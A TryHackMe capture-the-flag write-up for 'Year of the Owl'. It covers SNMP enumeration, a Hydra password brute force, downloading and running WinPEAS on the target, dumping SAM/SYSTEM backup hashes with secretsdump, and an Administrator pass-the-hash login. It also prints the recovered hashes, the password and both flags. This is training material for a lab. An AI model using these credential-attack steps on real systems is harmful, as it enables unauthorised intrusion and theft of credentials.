Year of the Owl - TryHackMe Writeup
Year of the Owl TryHackMe writeup β SNMP community-string enumeration to find the Jareth user, Hydra against WinRM, and SAM/SYSTEM hive backup dumps for the admin flag.
The foolish owl sits on his throneβ¦
##Task 1 | Flags
When the labyrinth is before you and you lose your way, sometimes thinking outside the walls is the way forward.
###Answer the questions below
Q. User Flag
Ans.
Q. Admin Flag
Ans.
##Walkthrough
Let's start with some reconnaisance, i.e. identifying open ports with Nmap -
root@ip-10-49-96-173:~# nmap -p- -sV -sT 10.49.178.176 -vv
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.4.10)
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
443/tcp open ssl/http syn-ack Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.4.10)
445/tcp open microsoft-ds? syn-ack
3306/tcp open mysql? syn-ack
3389/tcp open ms-wbt-server syn-ack Microsoft Terminal Services
5985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
47001/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.94SVN%I=7%D=7/27%Time=6A67926B%P=x86_64-pc-linux-gnu%r
SF:(NULL,6A,"f\0\0\x01\xffj\x04Host\x20'ip-10-49-96-173\.ap-south-1\.compu
SF:te\.internal'\x20is\x20not\x20allowed\x20to\x20connect\x20to\x20this\x2
SF:0MariaDB\x20server")%r(FourOhFourRequest,6A,"f\0\0\x01\xffj\x04Host\x20
SF:'ip-10-49-96-173\.ap-south-1\.compute\.internal'\x20is\x20not\x20allowe
SF:d\x20to\x20connect\x20to\x20this\x20MariaDB\x20server");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windowsVisiting the Web App, all we see is an Owl -

Let's run gobuster and try to enumerate any hidden directories -
root@ip-10-49-96-173:~# gobuster dir -u http://10.49.178.176/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -x php,html,txt,zip -fb 403,404
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.49.178.176/
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 403,404
[+] User Agent: gobuster/3.6
[+] Extensions: php,html,txt,zip
[+] Add Slash: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.php/ (Status: 200) [Size: 252]
/icons/ (Status: 200) [Size: 74798]
/Index.php/ (Status: 200) [Size: 252]
/examples/ (Status: 503) [Size: 403]
/INDEX.php/ (Status: 200) [Size: 252]Not much of use here.
SMBCLIENT denied connection as well -
root@ip-10-49-96-173:~# smbclient -L \\\\10.49.178.176\\ -N
session setup failed: NT_STATUS_ACCESS_DENIEDSNMP uses two default UDP port numbers: 161 for Manager-to-Agent communication (requests and queries) and 162 for Agent-to-Manager communication.
nmap -v -sU -sV -sC 10.114.186.162 -p 161,162
PORT STATE SERVICE VERSION
161/udp open|filtered snmp
162/udp open|filtered snmptrapNext, Use onesixtyone tool useful for discovering network devices and checking for weak or default SNMP configurations.
root@ip-10-114-73-62:~# onesixtyone -c /usr/share/wordlists/SecLists/Discovery/SNMP/snmp-onesixtyone.txt 10.114.186.162
Scanning 1 hosts, 3218 communities
10.114.186.162 [openview] Hardware: Intel64 Family 6 Model 79 Stepping 1 AT/AT COMPATIBLE - Software: Windows Version 6.3 (Build 17763 Multiprocessor Free)Then run snmpwalk for more SMTP enumeration
snmpwalk -v 2c -c openview 10.10.91.126 1.3.6.1.4.1.77.1.2.25
Created directory: /var/lib/snmp/cert_indexes
iso.3.6.1.4.1.77.1.2.25.1.1.5.71.117.101.115.116 = STRING: "Guest"
iso.3.6.1.4.1.77.1.2.25.1.1.6.74.97.114.101.116.104 = STRING: "Jareth"
iso.3.6.1.4.1.77.1.2.25.1.1.13.65.100.109.105.110.105.115.116.114.97.116.111.114 = STRING: "Administrator"
iso.3.6.1.4.1.77.1.2.25.1.1.14.68.101.102.97.117.108.116.65.99.99.111.117.110.116 = STRING: "DefaultAccount"
iso.3.6.1.4.1.77.1.2.25.1.1.18.87.68.65.71.85.116.105.108.105.116.121.65.99.99.111.117.110.116 = STRING: "WDAGUtilityAccount"
root@ip-10-114-73-62:~#
Now, let's try brute forcing the RDP port's password using hydra
hydra -l jareth -P /usr/share/wordlists/rockyou.txt rdp://10.114.186.162 -vV -fAfter a while we find the credentials:
Jareth:sarah
Let's login to the RDP connection using Remmina/evil-winrm-
evil-winrm -i 10.10.91.126 -u Jareth -p sarah
Then, we head to the Dekstop directory and find user flag -
Directory: C:\Users\Jareth\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 9/18/2020 2:21 AM 80 user.txt
*Evil-WinRM* PS C:\Users\Jareth\Desktop> type user.txt
THM{Y2I0NDJjODY2NTc2YmI2Y2U4M2IwZTBl}Now, for the privesc part, we'll use WinPEAS -
Download winPEAS on your linux machine -
root@ip-10-114-73-62:~# wget http://raw.githubusercontent.com/peass-ng/PEASS-ng/refs/heads/master/winPEAS/winPEASbat/winPEAS.bat
--2026-08-09 06:03:01-- http://raw.githubusercontent.com/peass-ng/PEASS-ng/refs/heads/master/winPEAS/winPEASbat/winPEAS.bat
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.109.133, 185.199.110.133, 185.199.111.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.109.133|:80... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: https://raw.githubusercontent.com/peass-ng/PEASS-ng/refs/heads/master/winPEAS/winPEASbat/winPEAS.bat [following]
--2026-08-09 06:03:01-- https://raw.githubusercontent.com/peass-ng/PEASS-ng/refs/heads/master/winPEAS/winPEASbat/winPEAS.bat
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.109.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 39493 (39K) [text/plain]
Saving to: 'winPEAS.bat'
winPEAS.bat 100%[===================================================================>] 38.57K --.-KB/s in 0.001s
2026-08-09 06:03:01 (60.5 MB/s) - 'winPEAS.bat' saved [39493/39493]Next, host the file with a python server -
root@ip-10-114-73-62:~# python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...On the RDP machine, download the file locally and execute -
Invoke-WebRequest -Uri "http://10.114.73.62:8000/winPEAS.bat" -OutFile "C:\Users\Jareth\Documents\winPEAS.bat"*Evil-WinRM* PS C:\Users\Jareth\Documents> ./winPEAS.bat
((,.,/((((((((((((((((((((/, */
,/*,..*(((((((((((((((((((((((((((((((((,
[i] Check if you are inside the Administrators group or if you have enabled any token that can be use to escalate privileges like SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege
[?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#users--groups
[+] CURRENT USER
User name Jareth
Full Name
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 13/11/2020 22:14:25
Password expires Never
Password changeable 13/11/2020 22:14:25
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 09/08/2026 07:03:57
Logon hours allowed All
Local Group Memberships *Remote Management Use*Users
Global Group memberships *None
The command completed successfully.
The request will be processed at a domain controller for domain WORKGROUP.
USER INFORMATION
----------------
User Name SID
====================== =============================================
year-of-the-owl\jareth S-1-5-21-1987495829-1628902820-919763334-1001
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
====================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
[+] USERS
User accounts for \\
-------------------------------------------------------------------------------
Administrator DefaultAccount Guest
Jareth WDAGUtilityAccount
The command completed with one or more errors.
[+] GROUPS
Aliases for \\YEAR-OF-THE-OWL
-------------------------------------------------------------------------------
*Access Control Assistance Operators
*Administrators
*Backup Operators
*Certificate Service DCOM Access
*Cryptographic Operators
*Device Owners
*Distributed COM Users
*Event Log Readers
*Guests
*Hyper-V Administrators
*IIS_IUSRS
*Network Configuration Operators
*Performance Log Users
*Performance Monitor Users
*Power Users
*Print Operators
*RDS Endpoint Servers
*RDS Management Servers
*RDS Remote Access Servers
*Remote Desktop Users
*Remote Management Users
*Replicator
*Storage Replica Administrators
*System Managed Accounts Group
*Users
The command completed successfully.
[+] ADMINISTRATORS GROUPS
Alias name Administrators
Comment Administrators have complete, unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
The command completed successfully.
[+] CURRENT LOGGED USERS
winPEAS.bat : No User exists for *
+ CategoryInfo : NotSpecified: (No User exists for *:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
---
Scan complete.
[+] Kerberos Tickets
Current LogonId is 0:0xeb2140
Error calling API LsaCallAuthenticationPackage (ShowTickets substatus): 1312
klist failed with 0xc000005f/-1073741729
[+] GPP Password
[+] Cloud Credentials
[+] AppCmd
[?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#appcmdexe
[+] Files in registry that may contain credentials
[i] Searching specific files that may contains credentials.
[?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#files-and-registry-credentials
Looking inside HKCU\Software\ORL\WinVNC3\Password
Looking inside HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4/password
Looking inside HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\WinLogon
DefaultDomainName REG_SZ
DefaultUserName REG_SZ
Looking inside HKLM\SYSTEM\CurrentControlSet\Services\SNMP
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SNMP
Description REG_SZ @firewallapi.dll,-50304
DisplayName REG_SZ @firewallapi.dll,-50303
ErrorControl REG_DWORD 0x1
FailureActions REG_BINARY 80510100000000000000000003000000140000000100000060EA00000100000060EA00000000000000000000
ImagePath REG_EXPAND_SZ %SystemRoot%\System32\snmp.exe
ObjectName REG_SZ LocalSystem
RequiredPrivileges REG_MULTI_SZ SeChangeNotifyPrivilege\0SeSecurityPrivilege\0SeDebugPrivilege
ServiceSidType REG_DWORD 0x1
Start REG_DWORD 0x2
Type REG_DWORD 0x10
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SNMP\Parameters
EnableAuthenticationTraps REG_DWORD 0x1
NameResolutionRetries REG_DWORD 0x10
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\ExtensionAgents
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\PermittedManagers
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\RFC1156Agent
sysContact REG_SZ
sysLocation REG_SZ
sysServices REG_DWORD 0x4c
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\ValidCommunities
Looking inside HKCU\Software\TightVNC\Server
Looking inside HKCU\Software\SimonTatham\PuTTY\Sessions
Looking inside HKCU\Software\OpenSSH\Agent\Keys
C:\ProgramData\Amazon\EC2-Windows\Launch\Sysprep\Unattend.xml
C:\Users\All Users\Amazon\EC2-Windows\Launch\Sysprep\Unattend.xml
C:\Windows\Panther\setupinfo
C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~17763.1457.1.7\amd64_microsoft-windows-i..raries-servercommon_31bf3856ad364e35_10.0.17763.1192_none_f73703fe41c6569b\f\appcmd.exe
C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~17763.1457.1.7\amd64_microsoft-windows-i..raries-servercommon_31bf3856ad364e35_10.0.17763.1192_none_f73703fe41c6569b\r\appcmd.exe
C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~17763.1457.1.7\wow64_microsoft-windows-i..raries-servercommon_31bf3856ad364e35_10.0.17763.1192_none_018bae5076271896\f\appcmd.exe
C:\Windows\servicing\LCU\Package_for_RollupFix~31bf3856ad364e35~amd64~~17763.1457.1.7\wow64_microsoft-windows-i..raries-servercommon_31bf3856ad364e35_10.0.17763.1192_none_018bae5076271896\r\appcmd.exe
C:\Windows\WinSxS\amd64_ipamprov-dcnps_31bf3856ad364e35_10.0.17763.1_none_90fd9849ea1e4266\ScheduledTasks.xml
C:\Windows\WinSxS\amd64_ipamprov-dhcp_31bf3856ad364e35_10.0.17763.1_none_64f02b544b2506ef\ScheduledTasks.xml
C:\Windows\WinSxS\amd64_ipamprov-dns_31bf3856ad364e35_10.0.17763.1_none_825235baef207c8d\ScheduledTasks.xml
C:\Windows\WinSxS\amd64_microsoft-windows-d..rvices-domain-files_31bf3856ad364e35_10.0.17763.1_none_8bd0f81f9b897a08\ntds.dit
C:\Windows\WinSxS\amd64_microsoft-windows-i..raries-servercommon_31bf3856ad364e35_10.0.17763.1192_none_f73703fe41c6569b\appcmd.exe
C:\Windows\WinSxS\amd64_microsoft-windows-i..raries-servercommon_31bf3856ad364e35_10.0.17763.1_none_9a517574c8380381\appcmd.exe
C:\Windows\WinSxS\amd64_microsoft-windows-webenroll.resources_31bf3856ad364e35_10.0.17763.1_en-us_742f5bf0baaff2c7\certnew.cer
C:\Windows\WinSxS\wow64_ipamprov-dcnps_31bf3856ad364e35_10.0.17763.1_none_9b52429c1e7f0461\ScheduledTasks.xml
C:\Windows\WinSxS\wow64_ipamprov-dhcp_31bf3856ad364e35_10.0.17763.1_none_6f44d5a67f85c8ea\ScheduledTasks.xml
C:\Windows\WinSxS\wow64_ipamprov-dns_31bf3856ad364e35_10.0.17763.1_none_8ca6e00d23813e88\ScheduledTasks.xml
C:\Windows\WinSxS\wow64_microsoft-windows-i..raries-servercommon_31bf3856ad364e35_10.0.17763.1192_none_018bae5076271896\appcmd.exe
C:\Windows\WinSxS\wow64_microsoft-windows-i..raries-servercommon_31bf3856ad364e35_10.0.17763.1_none_a4a61fc6fc98c57c\appcmd.exe
---
Scan complete.
[+] CURRENT CLIPBOARD
[i] Any passwords inside the clipboard?
[*] SERVICE VULNERABILITIES
[+] AppCmd
[?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#appcmdexe
[+] Files in registry that may contain credentials
[i] Searching specific files that may contains credentials.
[?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#files-and-registry-credentials
Looking inside HKCU\Software\ORL\WinVNC3\Password
Looking inside HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4/password
Looking inside HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\WinLogon
DefaultDomainName REG_SZ
DefaultUserName REG_SZ
Looking inside HKLM\SYSTEM\CurrentControlSet\Services\SNMP
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SNMP
Description REG_SZ @firewallapi.dll,-50304
DisplayName REG_SZ @firewallapi.dll,-50303
ErrorControl REG_DWORD 0x1
FailureActions REG_BINARY 80510100000000000000000003000000140000000100000060EA00000100000060EA00000000000000000000
ImagePath REG_EXPAND_SZ %SystemRoot%\System32\snmp.exe
ObjectName REG_SZ LocalSystem
RequiredPrivileges REG_MULTI_SZ SeChangeNotifyPrivilege\0SeSecurityPrivilege\0SeDebugPrivilege
ServiceSidType REG_DWORD 0x1
Start REG_DWORD 0x2
Type REG_DWORD 0x10
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SNMP\Parameters
EnableAuthenticationTraps REG_DWORD 0x1
NameResolutionRetries REG_DWORD 0x10
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\ExtensionAgents
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\PermittedManagers
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\RFC1156Agent
sysContact REG_SZ
sysLocation REG_SZ
sysServices REG_DWORD 0x4c
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\ValidCommunities
Looking inside HKCU\Software\TightVNC\Server
Looking inside HKCU\Software\SimonTatham\PuTTY\Sessions
Looking inside HKCU\Software\OpenSSH\Agent\Keys
S-1β5β21β1987495829β1628902820β919763334β1001 is a Security Identifier (SID) in Windows. It uniquely identifies a user, group, or system account.
We'll Recycle Bin Using SID:
cd 'C:\$Recycle.Bin\S-1-5-21-1987495829-1628902820-919763334-1001'
Directory: C:\$Recycle.Bin\S-1-5-21-1987495829-1628902820-919763334-1001
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 9/18/2020 7:28 PM 49152 sam.bak
-a---- 9/18/2020 7:28 PM 17457152 system.bakThese are backup files of the Windows SAM (Security Account Manager) and SYSTEM registry hives. Let's copy them out -
cp sam.bak C:\Users\Jareth\Documents
cp system.bak C:\Users\Jareth\DocumentsAnd now, download it to our linux machine -
cd C:\Users\Jareth\Documents
download sam.bak
download system.bakOnce the files are on your local machine, use secretsdump to extract the administrator hash. After retrieving the hash, leverage Evil-WinRM to establish a session as the administrator and gain access to the system.
root@ip-10-114-73-62:~# impacket-secretsdump -sam /root/sam.bak -system /root/system.bak LOCAL
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0xd676472afd9cc13ac271e26890b87a8c
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:6bc99ede9edcfecf9662fb0c0ddcfa7a:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:39a21b273f0cfd3d1541695564b4511b:::
Jareth:1001:aad3b435b51404eeaad3b435b51404ee:5a6103a83d2a94be8fd17161dfd4555a:::
[*] Cleaning up...
root@ip-10-114-73-62:~#
Now, we'll login as Administrator -
root@ip-10-114-73-62:~# evil-winrm -i 10.114.186.162 -u Administrator -H 6bc99ede9edcfecf9662fb0c0ddcfa7a
Evil-WinRM shell v3.9
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
Head over to desktop and we have our root flag -
Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> ls
Directory: C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 9/18/2020 2:19 AM 80 admin.txt
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type admin.txt
THM{YWFjZTM1MjFiZmRiODgyY2UwYzZlZWM2}